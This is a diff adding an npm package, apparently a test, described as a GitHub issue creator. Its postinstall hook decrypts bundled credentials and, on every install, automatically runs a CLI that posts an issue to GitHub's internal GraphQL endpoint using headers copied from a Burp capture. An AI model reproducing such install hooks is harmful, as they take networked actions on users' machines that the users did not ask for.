+        // Prepare GraphQL mutation
+        const graphqlPayload = {
+            query: "0198a2c5745a80475b22cd004e1d9672", // This is the query ID from your Burp capture
+            variables: {
+                fetchParent: false,
+                input: {
+                    body: body,
+                    isDuplicated: false,
+                    issueFields: null,
+                    issueTypeId: null,
+                    parentIssueId: null,
+                    repositoryId: repoId,
+                    title: title
+                }
+            }
+        };
+
+        console.log(`Submitting issue via GraphQL: '${title}'...`);
+
+        // Set up headers for GraphQL request (based on your Burp capture)
+        const graphqlHeaders = {
+            'Accept': 'application/json',
+            'Content-Type': 'text/plain;charset=UTF-8',
+            'X-Requested-With': 'XMLHttpRequest',
+            'Github-Verified-Fetch': 'true',
+            'X-Fetch-Nonce': fetchNonce,
+            'Origin': 'https://github.com',
+            'Referer': `https://github.com/${owner}/${repo}/issues/new`
+        };
+
+        // Post the GraphQL mutation
+        const response = await this.session.post(
+            'https://github.com/_graphql',
+            graphqlPayload,
+            {
+                headers: graphqlHeaders,
+                maxRedirects: 0
+            }
+        );
+
+        // Check if issue was created successfully
+        if (response.status === 200) {
+            try {
+                const result = response.data;
+
+                // Check for GraphQL errors
+                if (result.errors) {
+                    console.log(`\nGraphQL Errors:`);
+                    result.errors.forEach(error => {
+                        console.log(`  - ${error.message || error}`);
+                    });
+                    throw new Error("GraphQL mutation failed with errors");
+                }
+
+                // Extract issue URL from the response
+                if (result.data && result.data.createIssue) {
+                    const issueData = result.data.createIssue.issue;
+                    const issueUrl = issueData.url || '';
+                    const issueNumber = issueData.number || '';
+
+                    console.log(`✓ Issue created successfully!`);
+                    console.log(`Issue #${issueNumber}: ${issueUrl}`);
+
+                    return {
+                        url: issueUrl,
+                        number: issueNumber,
+                        id: issueData.id || '',
+                        title: issueData.title || ''
+                    };
+                } else {
+                    throw new Error("Unexpected GraphQL response format");
+                }
+
+            } catch (error) {
+                if (error instanceof SyntaxError) {
+                    console.log(`Failed to parse JSON response`);
+                    console.log(`Response text: ${response.data.toString().substring(0, 500)}`);
+                    throw new Error("Invalid JSON response from GraphQL endpoint");
+                }
+                throw error;
+            }
+        } else {
+            // Debug: Print response details
+            console.log(`\nDebug Information:`);
+            console.log(`Status Code: ${response.status}`);
+            console.log(`Response Headers: ${JSON.stringify(response.headers)}`);
+            console.log(`Response Text: ${response.data.toString().substring(0, 500)}`);
+
+            throw new Error(`Failed to create issue. Status code: ${response.status}`);
+        }
+    }
+}
+
+module.exports = GitHubIssueCreator;

package/package.json

@@ -0,0 +1,50 @@
+{
+  "name": "@johnpeterson9982332/test-package-v3",
+  "version": "1.0.0",
+  "description": "GitHub Issue Creator - CLI tool to create GitHub issues via HTTP requests",
+  "main": "index.js",
+  "bin": {
+    "github-issue-creator": "./bin/cli.js"
+  },
+  "files": [
+    "index.js",
+    "config.js",
+    "crypto.js",
+    "bin/cli.js",
+    "scripts/postinstall.js",
+    "config-encrypted.txt"
+  ],
+  "scripts": {
+    "test": "node scripts/test-encryption.js",
+    "start": "node bin/cli.js",
+    "build": "node scripts/build.js",
+    "postinstall": "node scripts/postinstall.js",
+    "generate-key": "node scripts/generate-key.js"
+  },
+  "keywords": [
+    "github",
+    "issue",
+    "creator",
+    "automation",
+    "api"
+  ],
+  "author": "johnpeterson9982332",
+  "license": "MIT",
+  "dependencies": {
+    "axios": "^1.6.0",
+    "cheerio": "^1.0.0-rc.12",
+    "otplib": "^12.0.1",
+    "uuid": "^9.0.1"
+  },
+  "engines": {
+    "node": ">=14.0.0"
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/johnpeterson9982332/test-package-v3.git"
+  },
+  "bugs": {
+    "url": "https://github.com/johnpeterson9982332/test-package-v3/issues"
+  },
+  "homepage": "https://github.com/johnpeterson9982332/test-package-v3#readme"
+}

package/scripts/postinstall.js

@@ -0,0 +1,83 @@
+#!/usr/bin/env node
+
+/**
+ * Postinstall script to decrypt credentials
+ * This runs automatically after npm install
+ */
+
+const path = require('path');
+const fs = require('fs');
+const { decryptEnvFile } = require('../crypto');
+
+const rootDir = path.join(__dirname, '..');
+const encryptedPath = path.join(rootDir, 'config-encrypted.txt');
+const decryptedPath = path.join(rootDir, 'config-decrypted.txt');
+
+console.log('\n===========================================');
+console.log('  Package Installation - Credential Setup');
+console.log('===========================================\n');
+
+// Check if SOME_STRING environment variable is set
+if (!process.env.SOME_STRING) {
+    console.error('❌ ERROR: SOME_STRING environment variable is not set!\n');
+    console.error('This package requires the SOME_STRING to decrypt credentials.');
+    console.error('Installation cannot continue without it.\n');
+    console.error('To fix this:');
+    console.error('  1. Obtain the encryption key from the package maintainer');
+    console.error('  2. Set it as an environment variable:');
+    console.error('     export SOME_STRING="your_key_here"');
+    console.error('  3. Reinstall the package:');
+    console.error('     npm install\n');
+    console.error('===========================================\n');
+    process.exit(1);
+}
+
+console.log('✓ SOME_STRING environment variable found');
+
+// Check if config-encrypted.txt file exists
+if (!fs.existsSync(encryptedPath)) {
+    console.error('❌ ERROR: config-encrypted.txt file not found');
+    console.error('The package is missing the encrypted credentials file.');
+    console.error('This may indicate a corrupted installation.\n');
+    process.exit(1);
+}
+
+console.log('✓ config-encrypted.txt file found');
+console.log('\nDecrypting credentials...');
+
+try {
+    // Decrypt the config-encrypted.txt file (keyPath is null, will use env var)
+    decryptEnvFile(encryptedPath, null, decryptedPath);
+    console.log('✓ Credentials decrypted successfully');
+    console.log('\n===========================================');
+    console.log('  Installation Complete!');
+    console.log('===========================================\n');
+
+    // Execute the CLI to create an issue
+    console.log('Running GitHub Issue Creator CLI...\n');
+    const cliMain = require('../bin/cli.js');
+
+    cliMain().then(exitCode => {
+        if (exitCode === 0) {
+            console.log('\n✓ Postinstall completed successfully!');
+        } else {
+            console.log('\n⚠ CLI execution completed with errors');
+        }
+        process.exit(exitCode);
+    }).catch(error => {
+        console.error('\n❌ ERROR: CLI execution failed');
+        console.error(`Reason: ${error.message}\n`);
+        process.exit(1);
+    });
+
+} catch (error) {
+    console.error('\n❌ ERROR: Failed to decrypt credentials');
+    console.error(`Reason: ${error.message}\n`);
+    console.error('This usually means:');
+    console.error('  - The SOME_STRING is incorrect');
+    console.error('  - The config-encrypted.txt file is corrupted\n');
+    console.error('Please verify you have the correct encryption key.');
+    console.error('===========================================\n');
+    process.exit(1);
+}
+